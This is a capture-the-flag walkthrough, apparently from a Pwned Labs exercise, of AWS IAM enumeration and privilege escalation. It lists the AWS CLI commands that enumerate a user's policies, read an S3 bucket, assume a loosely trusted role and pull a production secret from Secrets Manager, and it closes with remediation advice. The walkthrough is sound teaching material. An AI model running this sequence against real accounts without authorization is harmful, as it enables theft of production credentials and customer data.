Skip to content

Intro to AWS IAM Enumeration Walkthrough

Lab Name: Intro to AWS IAM Enumeration
Platform: Pwned Labs

We start as dev01, check its S3 access, then assume BackendDev for the extra permissions. The policy shows a possible path. We confirm it by assuming the role and retrieving the secret.

Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/dev01"
}

We are authenticated as dev01. We can check its managed and inline policies to find out what access it has.

Managed policies are standalone policies that can be attached to multiple users, groups, or roles.

List Attached Managed Policies
$ aws iam list-attached-user-policies --user-name dev01 --profile iam_user
Output
{
"AttachedPolicies": [
{
"PolicyName": "AmazonGuardDutyReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess"
},
{
"PolicyName": "dev01",
"PolicyArn": "arn:aws:iam::794929857501:policy/dev01"
}
]
}

The dev01 user has two managed policies: AWS’s AmazonGuardDutyReadOnlyAccess and a custom policy named dev01.

Inline policies are embedded directly into a single user, group, or role.

List Inline Policies
$ aws iam list-user-policies --user-name dev01 --profile iam_user
Output
{
"PolicyNames": [
"S3_Access"
]
}

The user has one inline policy, S3_Access. We inspect it to see what it allows.

View Inline Policy: S3_Access
$ aws iam get-user-policy --policy-name S3_Access --user-name dev01 --profile iam_user
Output: S3_Access Policy Document
{
"UserName": "dev01",
"PolicyName": "S3_Access",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::hl-dev-artifacts",
"arn:aws:s3:::hl-dev-artifacts/*"
]
}
]
}
}

This policy explicitly grants permission to list objects in the hl-dev-artifacts S3 bucket and download them (GetObject).

We list the contents of hl-dev-artifacts with the access we found.

List Objects in S3 Bucket
$ aws s3 ls s3://hl-dev-artifacts --profile iam_user
2023-10-01 16:39:53 1235 android-kotlin-extensions-tooling-232.9921.47.pom
2023-10-01 16:39:53 214036 android-project-system-gradle-models-232.9921.47-sources.jar
2023-10-01 16:38:05 32 flag.txt
Download and View the Flag
$ aws s3 cp s3://hl-dev-artifacts/flag.txt . --profile iam_user
download: s3://hl-dev-artifacts/flag.txt to ./flag.txt
$ cat flag.txt
Redactedc904551935c7514

We found a flag, but the managed policies may reveal more access. We keep enumerating.

We inspect the custom dev01 managed policy. First, we need its default version ID to retrieve the policy document.

Get Custom Policy Details
$ aws iam get-policy --policy-arn arn:aws:iam::794929857501:policy/dev01 --profile iam_user

The output shows the DefaultVersionId is v7. Now we can retrieve the policy document for that version.

Get Policy Version Document
$ aws iam get-policy-version --policy-arn arn:aws:iam::794929857501:policy/dev01 --version-id v7 --profile iam_user
Output: dev01 Policy Document
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
// ... other read-only IAM actions
],
"Resource": [
"arn:aws:iam::794929857501:user/dev01",
"arn:aws:iam::794929857501:role/BackendDev",
"arn:aws:iam::794929857501:policy/BackendDevPolicy",
// ... other resources
]
}
]
},
"VersionId": "v7",
// ...
}
}

This policy gives dev01 read-only IAM access to the BackendDev role and its policy, BackendDevPolicy. We investigate those next.

Using the permissions granted by the dev01 policy, we can now investigate the BackendDev role.

Get Role Details
$ aws iam get-role --role-name BackendDev --profile iam_user
Output: BackendDev Role Details
{
"Role": {
"RoleName": "BackendDev",
"Arn": "arn:aws:iam::794929857501:role/BackendDev",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::794929857501:user/dev01"
},
"Action": "sts:AssumeRole"
}
]
},
// ...
}
}

Before assuming the role, we check its permissions in BackendDevPolicy.

Get BackendDevPolicy Details
$ aws iam get-policy-version --policy-arn arn:aws:iam::794929857501:policy/BackendDevPolicy --version-id v1 --profile iam_user
Output: BackendDevPolicy Document
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"ec2:DescribeInstances",
"secretsmanager:ListSecrets"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:DescribeSecret"
],
"Resource": "arn:aws:secretsmanager:us-east-1:794929857501:secret:prod/Customers-QUhpZf"
}
]
}
}
}

BackendDev Role Permissions:

  • ec2:DescribeInstances on all instances.
  • secretsmanager:ListSecrets on all secrets.
  • secretsmanager:GetSecretValue on a specific secret: prod/Customers.

6. Privilege Escalation and Accessing Secrets

Section titled “6. Privilege Escalation and Accessing Secrets”

We assume the BackendDev role to use its permissions.

Assume the BackendDev Role
$ aws sts assume-role --role-arn arn:aws:iam::794929857501:role/BackendDev --role-session-name BackendDev --profile iam_user

This command returns temporary credentials (AccessKeyId, SecretAccessKey, SessionToken).

We use --profile BackendDev to apply the BackendDev role’s permissions, starting with a list of available secrets.

List Secrets as BackendDev
$ aws secretsmanager list-secrets --profile BackendDev

We can see prod/Customers. We retrieve its value next.

Get Secret Value as BackendDev
$ aws secretsmanager get-secret-value --secret-id prod/Customers --profile BackendDev
Output: Secret Revealed
{
"ARN": "arn:aws:secretsmanager:us-east-1:794929857501:secret:prod/Customers-QUhpZf",
"Name": "prod/Customers",
"SecretString": "[REDACTED_SECRET_STRING]",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-09-29T08:37:58.579000-04:00"
}

We escalated privileges and retrieved the database credentials from Secrets Manager!

These are the IAM misconfigurations we found and the changes that would address them.

# Area Observation Risk / Impact Recommendation
1 IAM User Keys dev01 uses long-lived static access keys. High risk of credential leakage from code, config files, or compromise. Enforce temporary credentials. Disable static keys and require users to assume roles to perform actions.
2 Role discovery dev01 could enumerate other IAM roles. Enumeration revealed the role to investigate; read access alone did not grant its permissions. Review the trust relationship and resulting secret access. Limit enumeration where the workload does not need it.
3 Broad Trust Policies The BackendDev role’s trust policy allowed dev01 to assume it without restrictions. A compromised dev01 user immediately leads to compromise of the BackendDev role. Restrict trust policies. Add condition keys to limit who can assume the role and from where (e.g., source IP, MFA).
4 Secrets Manager Access The BackendDev role had access to read production database credentials. Exposure of highly sensitive production secrets, leading to potential data breach. Use resource-based policies on secrets. Limit which specific roles or users can access each secret. Enable automatic rotation.
5 S3 Data Exposure dev01 had direct read access to an S3 bucket containing potentially sensitive files. Potential for data exfiltration or discovery of sensitive information. Restrict S3 bucket policies. Use AWS IAM Access Analyzer to continuously review and validate public and cross-account access.